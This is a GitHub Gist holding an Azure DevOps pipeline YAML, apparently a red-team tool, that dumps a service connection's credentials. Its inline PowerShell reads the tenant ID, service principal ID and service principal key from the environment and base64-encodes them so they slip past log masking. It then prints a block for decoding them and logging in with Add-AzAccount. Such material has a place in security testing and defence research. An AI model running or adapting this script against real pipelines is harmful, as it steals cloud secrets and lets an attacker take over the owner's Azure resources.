Last active
April 28, 2022 15:25
-
-
Save azurekid/d33d1792c80b7503928a09c8928eaef9 to your computer and use it in GitHub Desktop.
Dump DevOps pipeline credentials
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pr: none | |
trigger: none | |
variables: | |
serviceConnection: '<NameOfYourServiceConnection>' | |
pool: | |
vmImage: 'ubuntu-latest' | |
stages: | |
- stage: stage1 | |
displayName: SecureHats Pipeline Credentials | |
dependsOn: [] | |
jobs: | |
- job: ServiceConnectionCredentials | |
displayName: "Retrieve Service Connection password" | |
steps: | |
- task: AzureCLI@2 | |
inputs: | |
azureSubscription: ${{ variables.serviceConnection }} | |
scriptType: 'pscore' | |
scriptLocation: 'inlineScript' | |
inlineScript: | | |
Write-Host "##[section]Copy the code block between the '\\\' to decrypt the values locally is PowerShell:" | |
Write-Host "##[section]Copy the code block between the '\\\' to decrypt the values locally is PowerShell:" | |
Write-Host "" | |
Write-Host '\\\ | |
##[section]$credentials = [ordered]@{ | |
##[section] tenantId = [System.Text.ASCIIEncoding]::ASCII.GetString([System.Convert]::FromBase64String("'$([System.Convert]::ToBase64String([System.Text.ASCIIEncoding]::ASCII.GetBytes([System.Environment]::GetEnvironmentVariable("tenantId"))))'")) | |
##[section] serviceprincipalId = [System.Text.ASCIIEncoding]::ASCII.GetString([System.Convert]::FromBase64String("'$([System.Convert]::ToBase64String([System.Text.ASCIIEncoding]::ASCII.GetBytes([System.Environment]::GetEnvironmentVariable("servicePrincipalId"))))'")) | |
##[section] servicePrincipalKey = [System.Text.ASCIIEncoding]::ASCII.GetString([System.Convert]::FromBase64String("'$([System.Convert]::ToBase64String([System.Text.ASCIIEncoding]::ASCII.GetBytes([System.Environment]::GetEnvironmentVariable("servicePrincipalKey"))))'")) | |
##[section]} | |
##[section]Write-Output -InputObject $credentials | |
##[section] | |
##[section] $psCred = New-Object System.Management.Automation.PSCredential($credentials.serviceprincipalId , (ConvertTo-SecureString $credentials.servicePrincipalKey -AsPlainText -Force)) | |
##[section] Add-AzAccount -Credential $psCred -TenantId $credentials.tenantId -ServicePrincipal | |
\\\' | |
addSpnToEnvironment: true |
Updated the code and included the creation of a credential object in the pipeline output.
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
SecureHats
This pipeline can be used to dump de pipeline credentials from a password based service connection.
Copy the output of the pipeline to a local PowerShell instance to decode the base64 values.